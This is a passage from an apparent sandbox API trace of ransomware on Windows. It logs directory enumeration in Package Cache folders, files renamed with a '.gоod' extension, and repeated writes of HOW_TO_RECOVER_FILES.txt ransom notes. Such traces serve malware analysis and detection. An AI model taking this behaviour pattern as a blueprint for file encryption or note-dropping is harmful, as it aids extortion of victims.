ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.445] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf81cb00, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xdf81cb00, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0x2cade96d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13bacb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0143.445] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d48e1a4, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2d48e1a4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.445] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x24010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0143.445] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0143.445] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0143.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0143.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0143.445] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x71 [0143.445] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2d48e1a4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.446] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2d48e1a4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.446] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf81cb00, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xdf81cb00, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0x2cade96d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13bacb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0143.446] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d48e1a4, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2d48e1a4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.446] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x24010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0143.446] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x24010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 0 [0143.447] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0143.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0143.448] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0143.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0143.448] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0143.449] GetFileType (hFile=0x644) returned 0x1 [0143.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0143.449] GetFileType (hFile=0x644) returned 0x1 [0143.450] WriteFile (in: hFile=0x644, lpBuffer=0x351fb48*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x351fb48*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0143.451] CloseHandle (hObject=0x644) returned 1 [0143.451] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x75 [0143.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0143.451] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0143.452] GetFileType (hFile=0x644) returned 0x1 [0143.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0143.452] GetFileType (hFile=0x644) returned 0x1 [0143.452] WriteFile (in: hFile=0x644, lpBuffer=0x3523470*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x3523470*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0143.454] CloseHandle (hObject=0x644) returned 1 [0143.454] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6c [0143.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0143.454] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0143.455] GetFileType (hFile=0x644) returned 0x1 [0143.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0143.455] GetFileType (hFile=0x644) returned 0x1 [0143.456] WriteFile (in: hFile=0x644, lpBuffer=0x3526d78*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x3526d78*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0143.457] CloseHandle (hObject=0x644) returned 1 [0143.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0143.457] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpFilePart=0x0) returned 0x53 [0143.457] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2f0d6847, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.457] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2f0d6847, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.457] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f0d6847, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2f0d6847, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2f0d6847, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.458] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0143.458] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0143.458] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0143.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0143.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0143.458] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpFilePart=0x0) returned 0x53 [0143.458] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2f0d6847, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2f0d6847, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.458] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2f0d6847, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2f0d6847, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.459] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f0d6847, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2f0d6847, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2f0d6847, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.459] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0143.459] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0143.459] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0143.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0143.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0143.459] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages", lpFilePart=0x0) returned 0x5c [0143.459] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2f0d6847, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.460] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2f0d6847, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.460] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f0d6847, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2f0d6847, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2f0d6847, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.460] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2f0b08f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2f0b08f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0143.460] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2f0b08f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2f0b08f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0143.460] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0143.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0143.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0143.460] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages", lpFilePart=0x0) returned 0x5c [0143.460] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2f0d6847, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2f0d6847, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.461] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2f0d6847, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2f0d6847, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.461] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f0d6847, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2f0d6847, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2f0d6847, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.461] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2f0b08f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2f0b08f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0143.461] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0143.461] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0143.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0143.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0143.462] 